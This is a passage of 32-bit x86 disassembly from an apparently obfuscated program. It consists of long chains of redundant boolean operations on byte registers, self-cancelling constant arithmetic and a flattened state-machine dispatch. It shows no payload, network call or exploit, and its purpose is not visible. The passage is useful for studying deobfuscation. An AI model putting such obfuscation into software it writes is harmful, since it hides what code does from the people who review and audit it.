mov al, byte [ebp - 0x80a]
and al, ch
mov byte [ebp - 0x807], al
mov al, byte [ebp - 0x809]
or al, cl
mov cl, byte [ebp - 0x808]
mov byte [ebp - 0x806], al
mov al, byte [ebp - 0x807]
or cl, al
mov al, byte [ebp - 0x806]
xor al, cl
mov cl, byte [ebp - 0x805]
or dl, bh
xor dl, 0xff
or ch, 1
and dl, ch
or al, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
and al, ch
or dl, al
mov ch, 1
xor ch, 0
mov byte [ebp - 0x801], ch
mov al, cl
xor al, 0xff
mov byte [ebp - 0x802], al
mov bh, 1
xor bh, 0
and ch, 0
mov al, bh
and al, 0
mov byte [ebp - 0x804], al
mov al, byte [ebp - 0x802]
and al, 0
mov byte [ebp - 0x803], al
mov al, byte [ebp - 0x804]
and cl, bh
or ch, al
mov al, byte [ebp - 0x803]
or al, cl
mov cl, byte [ebp - 0x802]
xor ch, al
mov al, byte [ebp - 0x801]
or al, cl
mov cl, byte [ebp - 0x800]
xor al, 0xff
or bh, 0
and al, bh
or ch, al
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x7fe], bh
mov ch, al
xor ch, 0xff
mov dl, 1
xor dl, 0
and bh, 0
mov byte [ebp - 0x7ff], bh
and cl, dl
mov bh, ch
and bh, 0
and al, dl
mov byte [ebp - 0x7fd], al
mov al, byte [ebp - 0x7ff]
or al, cl
mov cl, byte [ebp - 0x7fe]
mov byte [ebp - 0x7fc], al
mov al, byte [ebp - 0x7fd]
or bh, al
mov al, byte [ebp - 0x7fc]
xor al, bh
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov cl, bl
xor cl, 0xff
mov ch, dh
xor ch, 0xff
mov dl, 1
xor dl, 0
or cl, ch
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, bl
xor dl, 0xff
and dl, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or dl, bl
or ch, dh
xor dl, ch
mov dh, cl
and dh, dl
xor cl, dl
or dh, cl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov bl, al
and bl, ch
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or dl, bl
or cl, ch
xor dl, cl
xor dl, 0xff
xor dl, 1
and dl, 0xff
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or bh, bl
or cl, ch
xor bh, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or ch, al
mov al, 1
xor al, 1
mov cl, ch
xor cl, al
mov al, byte [ebp - 0x7fb]
and cl, ch
xor bh, 0xff
mov ch, dh
xor ch, bh
and ch, dh
mov dh, dl
and dh, bl
xor dl, bl
or dh, dl
mov dl, cl
and dl, ch
xor cl, ch
or dl, cl
mov ch, dh
xor ch, 0xff
and ch, 0
mov bl, 1
xor bl, 0
and dh, bl
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, bl
or ch, dh
or cl, dl
xor ch, cl
mov dl, ah
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov dh, al
xor dh, 0xff
mov dl, ah
and dl, dh
xor ah, 0xff
and al, ah
or dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
mov dh, al
and dh, ah
mov cl, 1
xor cl, 1
and cl, 0
and ah, 1
or dl, dh
or cl, ah
xor dl, cl
mov bl, 1
xor bl, 1
xor dl, 0xff
mov cl, 1
xor cl, 0
or bl, dl
or cl, 0
xor bl, 0xff
and bl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, bl
xor al, 0xff
mov dl, bh
xor dl, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bl, cl
mov dh, dl
and dh, 0
and bh, cl
or ah, bl
mov bl, byte [ebp - 0x7fa]
or dh, bh
xor ah, dh
or al, dl
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov dl, 1
xor dl, 1
and dl, 1
mov al, 1
xor al, 1
and al, 1
or dl, al
mov dh, bl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dh, al
mov al, 1
xor al, 1
and al, 1
mov cl, 1
xor cl, 1
and cl, 1
or al, cl
mov byte [ebp - 0x7f6], al
mov bh, dl
xor bh, 0xff
mov al, 1
xor al, 1
mov cl, 1
xor cl, 1
or bh, al
mov al, byte [ebp - 0x7f6]
or cl, 1
xor bh, 0xff
and bh, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x7f9], al
mov al, 1
xor al, 1
mov cl, dh
xor cl, al
mov al, byte [ebp - 0x7f6]
and cl, dh
mov byte [ebp - 0x7f8], cl
xor bl, 0xff
xor al, 0xff
mov cl, 1
xor cl, 1
or bl, al
mov al, byte [ebp - 0x7f9]
or cl, 1
xor bl, 0xff
and bl, cl
mov cl, bh
and cl, al
xor bh, al
mov al, byte [ebp - 0x7f8]
or cl, bh
mov bh, al
and bh, bl
xor al, bl
or bh, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x7f7], al
mov al, 1
xor al, 0
and cl, al
mov bl, bh
xor bl, 0xff
and bl, 0
and bh, al
mov al, byte [ebp - 0x7f7]
or al, cl
mov cl, byte [ebp - 0x7f6]
or bl, bh
xor al, bl
mov bh, dl
and bh, dh
xor dl, dh
or bh, dl
mov dl, bh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or dl, bh
or dh, bl
xor dl, dh
mov dh, cl
and dh, 1
xor cl, 1
or dh, cl
xor dh, 0xff
mov cl, dl
xor cl, dh
and cl, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov al, ah
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or al, ah
or cl, dl
xor al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or cl, dh
or dl, ah
xor cl, dl
mov bh, 1
xor bh, 0
and bh, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 0
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or bh, dh
or dl, ah
xor bh, dl
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x7f5], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 1
and cl, 0xff
mov al, dl
and al, 0
mov bl, ah
and bl, 0xff
and bh, dl
or cl, al
mov al, byte [ebp - 0x7f5]
or bl, bh
xor cl, bl
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
and dh, ah
mov dl, 1
xor dl, 1
and dl, 0xff
and ah, 1
or al, dh
or dl, ah
xor al, dl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, ah
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, dh
or cl, ch
or dl, ah
xor cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x839d47fe
mov ecx, 0xa4e22c3c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1ec], eax
jmp 0x48b820
mov eax, dword [ebp - 0x188]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x1d8]
movzx eax, word [eax + 6]
mov dword [ebp - 0xb8], eax
mov eax, dword [0x5e6bac]
mov ecx, dword [0x5e6ba8]
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, 0xe81032fc
add edx, esi
xor esi, esi
sub esi, edx
add esi, 0x421b5302
sub esi, 1
sub esi, 0x421b5302
add esi, 0x3cb723cc
sub esi, 0xe81032fc
sub esi, 0x3cb723cc
mov edx, eax
add edx, 0x40c47e27
add edx, 0xbbb6728f
sub edx, 0x40c47e27
sub edx, 0xb8c37b11
add edx, esi
add edx, 0xb8c37b11
sub edx, 0xc164eec0
sub edx, 0xbbb6728f
add edx, 0xc164eec0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
mov byte [ebp - 0x85b], al
cmp ecx, 0xa
setl dh
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, 1
xor ah, 0
mov ch, al
and ch, ah
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or cl, ch
or dl, ah
xor cl, dl
xor cl, 0xff
xor cl, 0
and cl, 0
mov bh, 1
xor bh, 0
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
or bh, dl
mov ah, bh
xor ah, 0xff
mov dl, al
xor dl, ah
and dl, al
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov bl, ch
and bl, 1
mov al, 1
xor al, 1
and al, 0
and ch, 1
or ah, bl
or al, ch
xor ah, al
mov ch, 1
xor ch, 0
mov al, ah
xor al, ch
and al, ah
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0x861], dl
mov ch, bh
xor ch, 0xff
mov cl, 1
xor cl, 1
and dl, 0xff
and al, cl
mov bl, ch
and bl, 0xff
and bh, cl
or dl, al
mov al, byte [ebp - 0x861]
or bl, bh
xor dl, bl
or al, ch
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov al, ah
xor al, 0xff
and al, 0
mov ch, 1
xor ch, 0
and ah, ch
mov cl, dl
xor cl, 0xff
and cl, 0
and dl, ch
or al, ah
or cl, dl
xor al, cl
mov byte [ebp - 0x82f], al
mov dl, dh
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, dh
and al, cl
or dl, al
mov cl, 1
xor cl, 0
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov dl, 1
xor dl, 0
and dl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov ah, dh
xor ah, 0xff
mov ch, dl
xor ch, 0xff
mov al, 1
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov byte [ebp - 0x860], ah
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
mov bl, 1
xor bl, 0
mov ch, al
xor ch, bl
and ch, al
mov bl, 1
xor bl, 1
xor dl, 0xff
mov al, 1
xor al, 1
or bl, dl
or al, 1
xor bl, 0xff
and bl, al
mov dl, cl
xor dl, 0xff
xor ah, 0xff
mov bh, 1
xor bh, 1
mov al, dl
and al, 0xff
mov byte [ebp - 0x85f], al
and cl, bh
mov al, ah
and al, 0xff
mov byte [ebp - 0x85e], al
mov al, byte [ebp - 0x860]
and al, bh
mov byte [ebp - 0x85d], al
mov al, byte [ebp - 0x85f]
or al, cl
mov cl, byte [ebp - 0x85e]
mov byte [ebp - 0x85c], al
mov al, byte [ebp - 0x85d]
or cl, al
mov al, byte [ebp - 0x85c]
xor al, cl
mov cl, byte [ebp - 0x85b]
or dl, ah
mov ah, byte [ebp - 0x82f]
xor dl, 0xff
or bh, 1
and dl, bh
or al, dl
mov dl, ch
and dl, bl
xor ch, bl
or dl, ch
mov bl, al
xor bl, 0xff
mov ch, dl
and ch, bl
xor dl, 0xff
and al, dl
or ch, al
mov bl, 1
xor bl, 0
and bl, 0
mov dl, 1
xor dl, 0
mov bh, dl
and bh, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bl, bh
or al, dl
xor bl, al
mov dl, 1
xor dl, 1
xor bl, 0xff
mov al, 1
xor al, 0
or dl, bl
or al, 0
xor dl, 0xff
and dl, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
xor bl, 0xff
xor bl, 0
and bl, 0
mov al, dl
and al, bl
xor dl, bl
or al, dl
mov byte [ebp - 0x82c], al
mov bh, 1
xor bh, 0
and bh, 0
mov dl, 1
xor dl, 0
mov bl, dl
and bl, 0
mov al, 1
xor al, 1
and al, 0
and dl, 1
or bh, bl
or al, dl
xor bh, al
mov dl, ah
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and ah, bl
mov al, bh
xor al, 0xff
and al, 0xff
and bh, bl
mov bl, byte [ebp - 0x82c]
or dl, ah
mov ah, byte [ebp - 0x82f]
or al, bh
xor dl, al
xor ah, 0xff
mov al, dl
xor al, ah
and al, dl
mov byte [ebp - 0x850], al
mov dl, bl
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and bl, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, bl
or al, ah
xor dl, al
mov ah, cl
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
mov bl, cl
and bl, bh
mov al, dl
xor al, 0xff
and al, 0
and dl, bh
or ah, bl
or al, dl
xor ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or ah, cl
or al, 1
xor ah, 0xff
and ah, al
mov cl, ch
xor cl, 0xff
and cl, 0
mov dl, 1
xor dl, 0
mov bl, ch
and bl, dl
mov al, 1
xor al, 1
and al, 0
and dl, 1
or cl, bl
or al, dl
xor cl, al
mov al, 1
xor al, 0
and al, 1
mov bl, 1
xor bl, 1
mov bh, bl
and bh, 0
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or al, bh
or dl, bl
xor al, dl
mov byte [ebp - 0x85a], al
mov al, 1
xor al, 1
and al, 0
mov bl, 1
xor bl, 0
mov bh, bl
and bh, 1
mov dl, 1
xor dl, 1
and dl, 0
and bl, 1
or al, bh
mov bh, byte [ebp - 0x85a]
or dl, bl
xor al, dl
mov byte [ebp - 0x855], al
mov dl, cl
xor dl, 0xff
xor bh, 0xff
mov bl, 1
xor bl, 0
mov al, dl
and al, 0
mov byte [ebp - 0x859], al
and cl, bl
mov al, bh
and al, 0
mov byte [ebp - 0x858], al
mov al, byte [ebp - 0x85a]
and al, bl
mov byte [ebp - 0x857], al
mov al, byte [ebp - 0x859]
or al, cl
mov cl, byte [ebp - 0x858]
mov byte [ebp - 0x856], al
mov al, byte [ebp - 0x857]
or cl, al
mov al, byte [ebp - 0x856]
xor al, cl
mov cl, byte [ebp - 0x855]
or dl, bh
xor dl, 0xff
or bl, 0
and dl, bl
or al, dl
mov byte [ebp - 0x852], al
mov bl, 1
xor bl, 1
mov byte [ebp - 0x851], bl
mov bh, cl
xor bh, 0xff
mov dl, 1
xor dl, 1
and bl, 0xff
mov al, dl
and al, 1
mov byte [ebp - 0x854], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x853], al
mov al, byte [ebp - 0x854]
and cl, dl
or bl, al
mov al, byte [ebp - 0x853]
or al, cl
mov cl, byte [ebp - 0x852]
xor bl, al
mov al, byte [ebp - 0x851]
or al, bh
xor al, 0xff
or dl, 1
and al, dl
or bl, al
mov al, cl
xor al, 0xff
and al, 0
mov bh, 1
xor bh, 0
and cl, bh
mov dl, 1
xor dl, 1
and dl, 0
and bh, 1
or al, cl
mov cl, byte [ebp - 0x850]
or dl, bh
mov bh, byte [ebp - 0x82c]
xor al, dl
xor al, 0xff
xor bl, 0xff
mov dl, 1
xor dl, 1
or al, bl
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0x842], al
mov bl, bh
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and bh, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or bl, bh
or al, dl
xor bl, al
mov al, dh
xor al, 0xff
mov dl, bl
and dl, al
xor bl, 0xff
mov al, dh
and al, bl
or dl, al
xor dl, 0xff
xor dh, 0xff
mov al, 1
xor al, 0
or dl, dh
or al, 0
xor dl, 0xff
and dl, al
mov al, cl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
mov bh, cl
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0xff
and bl, 1
or al, bh
or dh, bl
xor al, dh
mov byte [ebp - 0x845], al
mov bl, ah
xor bl, 0xff
and bl, 1
mov dh, 1
xor dh, 1
mov al, ah
and al, dh
or bl, al
mov bh, 1
xor bh, 1
and bh, 0
mov al, 1
xor al, 0
mov dh, al
and dh, 1
mov byte [ebp - 0x84f], dh
mov dh, 1
xor dh, 1
and dh, 0
and al, 1
mov byte [ebp - 0x84e], al
mov al, byte [ebp - 0x84f]
or bh, al
mov al, byte [ebp - 0x84e]
or dh, al
mov al, byte [ebp - 0x845]
xor bh, dh
mov byte [ebp - 0x84a], bh
mov dh, 1
xor dh, 1
xor al, dh
mov dh, byte [ebp - 0x845]
and al, dh
xor cl, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 1
or cl, bh
mov bh, byte [ebp - 0x84a]
or dh, 1
xor cl, 0xff
and cl, dh
mov byte [ebp - 0x84d], cl
mov cl, 1
xor cl, 1
mov dh, bl
xor dh, cl
mov cl, byte [ebp - 0x84d]
and dh, bl
mov byte [ebp - 0x847], dh
xor ah, 0xff
xor bh, 0xff
mov dh, 1
xor dh, 0
or ah, bh
or dh, 0
xor ah, 0xff
and ah, dh
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x849], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x848], cl
mov dh, bh
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0x84d]
mov byte [ebp - 0x84c], al
mov al, byte [ebp - 0x849]
and al, 0xff
mov byte [ebp - 0x84b], al
mov al, byte [ebp - 0x848]
and cl, al
mov al, byte [ebp - 0x84c]
or dh, al
mov al, byte [ebp - 0x84b]
or al, cl
mov cl, byte [ebp - 0x84a]
xor dh, al
mov al, byte [ebp - 0x849]
or bh, al
mov al, byte [ebp - 0x848]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x847]
or dh, bh
mov bh, al
and bh, ah
xor al, ah
or bh, al
mov ah, dh
xor ah, 0xff
and ah, 0
mov al, 1
xor al, 0
and dh, al
mov byte [ebp - 0x846], dh
mov dh, bh
xor dh, 0xff
and dh, 0
and bh, al
mov al, byte [ebp - 0x846]
or ah, al
mov al, byte [ebp - 0x845]
or dh, bh
xor ah, dh
mov dh, al
and dh, bl
xor al, bl
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
or al, dh
mov byte [ebp - 0x840], al
mov dh, 1
xor dh, 1
mov al, cl
xor al, 0xff
mov byte [ebp - 0x841], al
mov bh, 1
xor bh, 0
mov bl, dh
and bl, 0
mov al, bh
and al, 1
mov byte [ebp - 0x844], al
mov al, byte [ebp - 0x841]
and al, 0
mov byte [ebp - 0x843], al
mov al, byte [ebp - 0x844]
and cl, bh
or bl, al
mov al, byte [ebp - 0x843]
or al, cl
mov cl, byte [ebp - 0x842]
xor bl, al
mov al, byte [ebp - 0x841]
or dh, al
mov al, byte [ebp - 0x840]
xor dh, 0xff
or bh, 0
and dh, bh
or bl, dh
xor bl, 0xff
mov dh, al
xor dh, bl
and dh, al
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov byte [ebp - 0x836], al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ah, cl
and ah, dh
or al, ah
mov byte [ebp - 0x83b], al
mov bh, dl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov al, dl
and al, ah
or bh, al
mov dh, 1
xor dh, 0
and dh, 1
mov bl, 1
xor bl, 1
mov ah, bl
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or dh, ah
mov ah, byte [ebp - 0x83b]
or al, bl
xor dh, al
mov byte [ebp - 0x83a], dh
mov bl, 1
xor bl, 0
mov al, ah
xor al, bl
and al, ah
xor cl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 1
or cl, dh
or ah, 1
xor cl, 0xff
and cl, ah
mov ah, bh
xor ah, 0xff
mov dh, 1
xor dh, 0
mov bl, 1
xor bl, 1
or ah, dh
mov dh, byte [ebp - 0x83a]
or bl, 1
xor ah, 0xff
and ah, bl
mov byte [ebp - 0x83d], ah
xor dl, 0xff
xor dh, 0xff
mov ah, 1
xor ah, 0
or dl, dh
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, al
xor ah, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x83c], dh
mov bl, 1
xor bl, 1
mov dh, ah
and dh, 0xff
and al, bl
mov byte [ebp - 0x83f], al
mov al, byte [ebp - 0x83c]
and al, 0xff
mov byte [ebp - 0x83e], al
mov al, byte [ebp - 0x83f]
and cl, bl
or dh, al
mov al, byte [ebp - 0x83e]
or al, cl
mov cl, byte [ebp - 0x83d]
xor dh, al
mov al, byte [ebp - 0x83c]
or ah, al
mov al, byte [ebp - 0x83b]
xor ah, 0xff
or bl, 1
and ah, bl
or dh, ah
mov ah, cl
and ah, dl
xor cl, dl
or ah, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov bl, 1
xor bl, 1
and dh, bl
mov dl, ah
xor dl, 0xff
and dl, 0xff
and ah, bl
or cl, dh
or dl, ah
xor cl, dl
mov byte [ebp - 0x837], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov dl, 1
xor dl, 1
mov ah, cl
and ah, 0xff
and al, dl
mov bl, dh
and bl, 0xff
and bh, dl
or ah, al
mov al, byte [ebp - 0x83a]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or dl, 1
and cl, dl
or ah, cl
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 0
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
mov bl, ah
and bl, 0
mov byte [ebp - 0x839], bl
mov bl, dh
and bl, 0
and al, ah
mov byte [ebp - 0x838], al
mov al, byte [ebp - 0x839]
or dl, al
mov al, byte [ebp - 0x838]
or bl, al
mov al, byte [ebp - 0x837]
xor dl, bl
or cl, dh
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
xor bh, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and al, ah
mov bl, dh
and bl, 0xff
and bh, ah
or dl, al
mov al, byte [ebp - 0x836]
or bl, bh
xor dl, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov cl, al
and cl, dh
or ah, cl
mov bl, 1
xor bl, 0
xor ah, 0xff
mov cl, 1
xor cl, 1
or bl, ah
or cl, 1
xor bl, 0xff
and bl, cl
mov ah, 1
xor ah, 0
and ah, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ah, bh
or cl, dh
xor ah, cl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0x835], al
mov bh, dl
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
mov al, dl
and al, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or bh, al
mov al, byte [ebp - 0x835]
or cl, dh
xor bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 0
mov cl, 1
xor cl, 1
or bh, dh
or cl, 1
xor bh, 0xff
and bh, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov byte [ebp - 0x832], cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ah, 1
xor ah, 1
mov dl, cl
and dl, 0xff
and bl, ah
mov byte [ebp - 0x834], bl
mov bl, dh
and bl, 0xff
and al, ah
mov byte [ebp - 0x833], al
mov al, byte [ebp - 0x834]
or dl, al
mov al, byte [ebp - 0x833]
or bl, al
mov al, byte [ebp - 0x832]
xor dl, bl
or cl, dh
xor cl, 0xff
or ah, 1
and cl, ah
or dl, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ah, cl
and ah, 0
and bh, dh
mov byte [ebp - 0x831], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x830], al
mov al, byte [ebp - 0x831]
or ah, al
mov al, byte [ebp - 0x830]
or bh, al
mov al, byte [ebp - 0x82f]
xor ah, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ah, cl
mov dh, dl
xor dh, 0xff
mov cl, ah
and cl, dh
xor ah, 0xff
and dl, ah
or cl, dl
mov byte [ebp - 0x82b], cl
mov dh, al
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov cl, al
and cl, dl
or dh, cl
mov byte [ebp - 0x82e], dh
mov dl, ch
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov bl, ch
and bl, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or dl, bl
or cl, ah
xor dl, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
xor dh, 0xff
mov bl, 1
xor bl, 1
mov cl, 1
xor cl, 1
or dh, bl
or cl, 1
xor dh, 0xff
and dh, cl
mov cl, ah
xor cl, 0xff
mov bh, al
xor bh, cl
and bh, al
mov al, 1
xor al, 1
mov cl, dl
xor cl, al
and cl, dl
xor ch, 0xff
mov al, ah
xor al, 0xff
mov bl, 1
xor bl, 1
or ch, al
mov al, byte [ebp - 0x82e]
or bl, 1
xor ch, 0xff
and ch, bl
mov bl, dh
and bl, bh
xor dh, bh
or bl, dh
mov dh, cl
and dh, ch
xor cl, ch
or dh, cl
mov cl, bl
xor cl, 0xff
and cl, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or cl, bl
or ch, dh
xor cl, ch
mov byte [ebp - 0x82d], cl
mov cl, al
xor cl, 0xff
mov dh, dl
xor dh, 0xff
mov ch, 1
xor ch, 1
mov bl, cl
and bl, 0xff
and al, ch
mov bh, dh
and bh, 0xff
and dl, ch
or bl, al
mov al, byte [ebp - 0x82d]
or bh, dl
mov dl, byte [ebp - 0x82c]
xor bl, bh
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or bl, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or cl, bl
or ch, dh
xor cl, ch
mov ch, ah
and ch, 1
xor ah, 1
or ch, ah
xor ch, 0xff
mov ah, cl
xor ah, ch
and ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ch, 1
xor ch, 1
mov dh, cl
and dh, ch
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or al, dh
or ah, ch
xor al, ah
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 1
mov ah, 1
xor ah, 1
and ah, 1
or ch, ah
xor cl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, dl
xor al, 0xff
xor al, 0
and al, 0
mov bh, 1
xor bh, 0
and bh, 1
mov dh, 1
xor dh, 1
mov ch, dh
and ch, 0
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, dh
or bh, ch
or cl, dl
xor bh, cl
mov cl, al
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov dl, 1
xor dl, 0
mov dh, cl
and dh, 0
and al, dl
mov bl, ch
and bl, 0
and bh, dl
or dh, al
mov al, byte [ebp - 0x82b]
or bl, bh
xor dh, bl
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or dh, cl
mov ch, dh
xor ch, 0xff
and ch, 0
mov dl, 1
xor dl, 0
and dh, dl
mov cl, 1
xor cl, 1
and cl, 0
and dl, 1
or ch, dh
or cl, dl
xor ch, cl
mov cl, ah
xor cl, 0xff
mov dl, ch
and dl, cl
xor ch, 0xff
mov cl, ah
and cl, ch
or dl, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov ah, al
and ah, ch
or dl, ah
mov byte [ebp - 0x82a], dl
mov dh, cl
xor dh, 0xff
and dh, 1
mov ch, 1
xor ch, 1
mov ah, cl
and ah, ch
or dh, ah
mov bh, 1
xor bh, 1
and bh, 1
mov ch, 1
xor ch, 1
